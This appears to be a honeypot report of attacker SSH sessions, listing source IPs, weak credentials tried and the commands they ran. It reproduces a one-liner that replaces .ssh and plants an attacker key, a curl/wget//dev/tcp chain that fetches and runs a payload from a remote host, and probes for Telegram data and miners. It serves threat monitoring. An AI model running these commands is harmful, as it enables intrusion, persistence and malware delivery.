๐ŸŽญ haywire_hawker_root (43.128.101.247) โ€” Singapore, Singapore ยท 15 sessions ยท 15 cmds
2026-08-19 03:56 EDT ยท as admin/password, deploy/deploy123, guest/guest
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—15
๐ŸŽญ haywire_pasta_root_49 (93.67.167.49) โ€” San Giorgio Ionico, Italy ยท 1 session ยท 9 cmds
2026-08-19 09:23 EDT ยท as root/root
root/root login โ†’ /ip cloud print โ†’ ifconfig โ†’ uname -a โ†’ cat /proc/cpuinfo โ†’ ps | grep '[Mm]iner' โ†’ ps -ef | grep '[Mm]iner' โ†’ ls -la ~/.local/share/TelegramDesktop/tdata /home//.local/share/TelegramDesktop/tdata /dev/ttyGSM โ†’ locate D877F7
$ /ip cloud print
$ ifconfig
โ†ณ network mapping
$ uname -a
โ†ณ OS/kernel identification
$ cat /proc/cpuinfo
โ†ณ CPU profiling
$ ps | grep '[Mm]iner'
$ ps -ef | grep '[Mm]iner'
$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*
$ locate D877F783D5D3EF8Cs
$ echo Hi | cat -n
๐ŸŽญ vapor_panda_root_39 (47.107.112.39) โ€” Shenzhen, China ยท 1 session ยท 1 cmd
2026-08-19 06:09 EDT ยท as test/test
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a
โ†ณ OS/kernel identification
๐ŸŽญ manic_panda_root_102 (121.196.232.102) โ€” Hangzhou, China ยท 1 session ยท 1 cmd
2026-08-19 02:53 EDT ยท as deploy/deploy123
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a
โ†ณ OS/kernel identification
๐ŸŽญ crimson_tea_root (191.101.59.133) โ€” City of London, United Kingdom ยท 1 session ยท 9 cmds
2026-08-18 23:38 EDT ยท as root/root
root/root login โ†’ /ip cloud print โ†’ ifconfig โ†’ uname -a โ†’ cat /proc/cpuinfo โ†’ ps | grep '[Mm]iner' โ†’ ps -ef | grep '[Mm]iner' โ†’ ls -la ~/.local/share/TelegramDesktop/tdata /home//.local/share/TelegramDesktop/tdata /dev/ttyGSM โ†’ locate D877F7
$ /ip cloud print
$ ifconfig
โ†ณ network mapping
$ uname -a
โ†ณ OS/kernel identification
$ cat /proc/cpuinfo
โ†ณ CPU profiling
$ ps | grep '[Mm]iner'
$ ps -ef | grep '[Mm]iner'
$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*
$ locate D877F783D5D3EF8Cs
$ echo Hi | cat -n
๐ŸŽญ cryptic_jade_root_204 (123.207.211.204) โ€” Shanghai, China ยท 1 session ยท 1 cmd
2026-08-18 23:08 EDT ยท as admin/admin123
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a
โ†ณ OS/kernel identification
๐ŸŽญ weary_gouda_root (77.239.124.249) โ€” Amsterdam, The Netherlands ยท 93 sessions ยท 93 cmds
2026-07-23 14:58 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 6x across 6 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—93
๐ŸŽญ weary_jade_root (8.138.112.252) โ€” Guangzhou, China ยท 31 sessions ยท 31 cmds
2026-08-03 06:30 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—31
๐ŸŽญ molten_chateau_root_47 (84.46.253.47) โ€” Lauterbourg, France ยท 1 session ยท 1 cmd
2026-08-18 16:28 EDT ยท as root/password
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -m
๐ŸŽญ savage_toucan_root (152.32.199.115) โ€” Sรฃo Paulo, Brazil ยท 1 session ยท 2 cmds
2026-08-18 14:20 EDT ยท as oracle/oracle@123
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ spectral_dutch_sol (45.148.10.183) โ€” Amsterdam, The Netherlands ยท 435 sessions ยท 435 cmds
2026-06-30 19:24 EDT ยท as bitcoin/bitcoin, firedancer/firedancer, jito/jito
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m ร—435
โ†ณ obfuscated system check
๐ŸŽญ lurking_dimsum_root (152.32.240.167) โ€” Hong Kong, Hong Kong ยท 1 session ยท 5 cmds
2026-08-18 12:30 EDT ยท as root/123456
echo โ†’ payload download from C2 โ†’ execute from /tmp โ†’ '8
$ echo 1 > /dev/null && cat /bin/echo
$ nohup $SHELL -c "curl http://194.62.55.121:9474/linux -o /tmp/BkiPKgfuja; if [ ! -f /tmp/BkiPKgfuja ]; then wget http://194.62.55.121:9474/linux -O /tmp/BkiPKgfuja; fi; if [ ! -f /tmp/BkiPKgfuja ]; then exec 6<>/dev/tcp/194.62.55.121/9474 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/BkiPKgfuja ; chmod +x /tmp/BkiPKgfuja && /tmp/BkiPKgfuja cPYYcU7Xn4YuhYDLSHQT7wEC5glwQc2AhTKdm8xWcBvnCwjiHnVYypedOYSAy0x3B+QDBuwQd0nKjoc3nZfMVnAY5x8A7hN5TMiXkzSGgMhNcAfnAwL4GHhIw5eBM4COzU9vEOEfBeEHc0rMlIUyipfZTXgH5wAB+BtzQNefijmJmMhIcwniBh/uHW9JwJ6dMYeYw0F0EOURBeEHcEjKgII5hIDOS3sf5AkJ9hp3VsidgC6Cn8lWcxrlCwbhHXFYzZmdMYKY10lzHPgCCewRckrLjoUwnZzJTW8b5QEf5x13QsCahziTn8lJbxjlAh/nHnBWz56JOIaeylh5B+QDA/gbcEDXnIYxiZnLSnIJ5Qgf5xl0VsGbnTSAlM5LeBH2AATkB3JK15yHMJ2fz097EOMEB/YYd0HXm4suhZbXTXET7wQE4wl1T9eXhi6BnMBWcx3vCwjgG3BYwYCBMYqAzlZ0EOwHCeMQYUDXn4UznZ/MVnkQ7AYD5x1hTM6AgjKCgMhLeQfkAADsH3dIwI6CMIWAyE1vH/gDAeMTeEjKnpMxiprXTnMH4wQf5xtwQsCahDSTms5WeBz4AAjkB3BIzZSLNIOY2UpxB+cDBvgRdFbInoQ6i5zPSGEY5wgf5BpvTcyAgTOBlM5PcRv2BQb4EHJWy5yGLoGdw09xG+ERAO4Zb0/PgIIzhIDKT3sf5gAC4wl1T9eXgC6BncpWcB7jCwnlHHZYzZudMYaf10lzGvgACOYTeErKnVWg1dxnwZTLXHg6OB+d/HZkTl8=; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/BkiPKgfuja && /tmp/BkiPKgfuja cPYYcU7Xn4YuhYDLSHQT7wEC5glwQc2AhTKdm8xWcBvnCwjiHnVYypedOYSAy0x3B+QDBuwQd0nKjoc3nZfMVnAY5x8A7hN5TMiXkzSGgMhNcAfnAwL4GHhIw5eBM4COzU9vEOEfBeEHc0rMlIUyipfZTXgH5wAB+BtzQNefijmJmMhIcwniBh/uHW9JwJ6dMYeYw0F0EOURBeEHcEjKgII5hIDOS3sf5AkJ9hp3VsidgC6Cn8lWcxrlCwbhHXFYzZmdMYKY10lzHPgCCewRckrLjoUwnZzJTW8b5QEf5x13QsCahziTn8lJbxjlAh/nHnBWz56JOIaeylh5B+QDA/gbcEDXnIYxiZnLSnIJ5Qgf5xl0VsGbnTSAlM5LeBH2AATkB3JK15yHMJ2fz097EOMEB/YYd0HXm4suhZbXTXET7wQE4wl1T9eXhi6BnMBWcx3vCwjgG3BYwYCBMYqAzlZ0EOwHCeMQYUDXn4UznZ/MVnkQ7AYD5x1hTM6AgjKCgMhLeQfkAADsH3dIwI6CMIWAyE1vH/gDAeMTeEjKnpMxiprXTnMH4wQf5xtwQsCahDSTms5WeBz4AAjkB3BIzZSLNIOY2UpxB+cDBvgRdFbInoQ6i5zPSGEY5wgf5BpvTcyAgTOBlM5PcRv2BQb4EHJWy5yGLoGdw09xG+ERAO4Zb0/PgIIzhIDKT3sf5gAC4wl1T9eXgC6BncpWcB7jCwnlHHZYzZudMYaf10lzGvgACOYTeErKnVWg1dxnwZTLXHg6OB+d/HZkTl8=" &
โ†ณ payload download from C2
$ head -c 3716336 > /tmp/W1vWiZTgtl
โ†ณ execute from /tmp
$ echo 1 > /dev/null && cat /bin/echoQtd#0000
$ >A@/`'8
๐ŸŽญ spectral_clog_root (80.94.92.179) โ€” Amsterdam, The Netherlands ยท 89 sessions ยท 810 cmds
2026-07-03 10:24 EDT ยท as admin/123456, admin/admin, admin/admin123
PATH normalization via export โ†’ OS fingerprinting via uname -s -v -n -m โ†’ kernel version extraction from /proc/version โ†’ OS release detection from /etc/os-release โ†’ hardware profiling for cryptomining potential.
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'execute_err='; out=$(bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' "$out" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ร—82
โ†ณ make executable
$ uname -s -v -n -m 2 > /dev/null ร—90
$ /bin/uname -s -v -n -m 2 > /dev/null ร—90
$ /usr/bin/uname -s -v -n -m 2 > /dev/null ร—90
$ busybox uname -s -v -n -m 2 > /dev/null ร—90
$ ( [ -f /proc/version ] ร—90
$ [ -f /proc/version ] ร—90
$ head -1 /proc/version | cut -d -f1 ร—90
$ [ -f /etc/os-release ] ร—90
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ร—8
๐ŸŽญ feral_yankee_root (20.172.240.136) โ€” Boydton, United States ยท 1 session ยท 2 cmds
2026-08-18 11:29 EDT ยท as oracle/09N1RCa1Hs31
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ baroque_abba_root (158.174.211.17) โ€” Stockholm, Sweden ยท 1 session ยท 2 cmds
2026-08-18 11:14 EDT ยท as oracle/09N1RCa1Hs31
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ grumpy_stroopwafel_root (77.239.124.102) โ€” Amsterdam, The Netherlands ยท 5 sessions ยท 5 cmds
2026-08-13 21:13 EDT ยท as root/admin, root/admin123, root/root
echo
$ echo Z9YaoT0DbX && cd /tmp; echo So4zuqV7lN > fADlpP8U0V && sleep 187 &
$ echo rnzW5kfYaI && cd /tmp; echo M1CxumoXkn > o9oRR2q6Pm && sleep 276 &
$ echo gEXbVylLb4 && cd /tmp; echo ah5u8hHfAc > Vprpsz5hYR && sleep 162 &
$ echo ptepHKCYc7 && cd /tmp; echo UGJA6Z80d0 > 0Y43ZBD4By && sleep 292 &
$ echo vy1Fx2E9AO && cd /tmp; echo ifaTIE5xCX > 1LHpuiZoAt && sleep 51 &
๐ŸŽญ feral_rendang_root (210.79.142.230) โ€” Nganjuk, Indonesia ยท 1 session ยท 2 cmds
2026-08-18 09:53 EDT ยท as oracle/Oracle@2024
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ crimson_falcon_root (57.128.222.79) โ€” Warsaw, Poland ยท 1 session ยท 1 cmd
2026-08-18 08:36 EDT ยท as root/password
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a 2>/dev/null || echo 'Unknown'
๐ŸŽญ rabid_eagle_root (92.118.39.14) โ€” Dallas, United States ยท 139 sessions ยท 1251 cmds
2026-07-01 08:03 EDT ยท as admin/123456, admin/admin, admin/admin123
Credential reuse (admin/123456) โ†’ PATH normalization โ†’ OS fingerprinting via uname -s -v -n -m โ†’ kernel version extraction from /proc/version โ†’ OS release check via /etc/os-release โ†’ hardware enumeration suppression via stdout redirection.
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'execute_err='; out=$(bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' "$out" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ร—127
โ†ณ make executable
$ uname -s -v -n -m 2 > /dev/null ร—139
$ /bin/uname -s -v -n -m 2 > /dev/null ร—139
$ /usr/bin/uname -s -v -n -m 2 > /dev/null ร—139
$ busybox uname -s -v -n -m 2 > /dev/null ร—139
$ ( [ -f /proc/version ] ร—139
$ [ -f /proc/version ] ร—139
$ head -1 /proc/version | cut -d -f1 ร—139
$ [ -f /etc/os-release ] ร—139
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ร—3
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { grep -m1 -E "model name|Hardware" 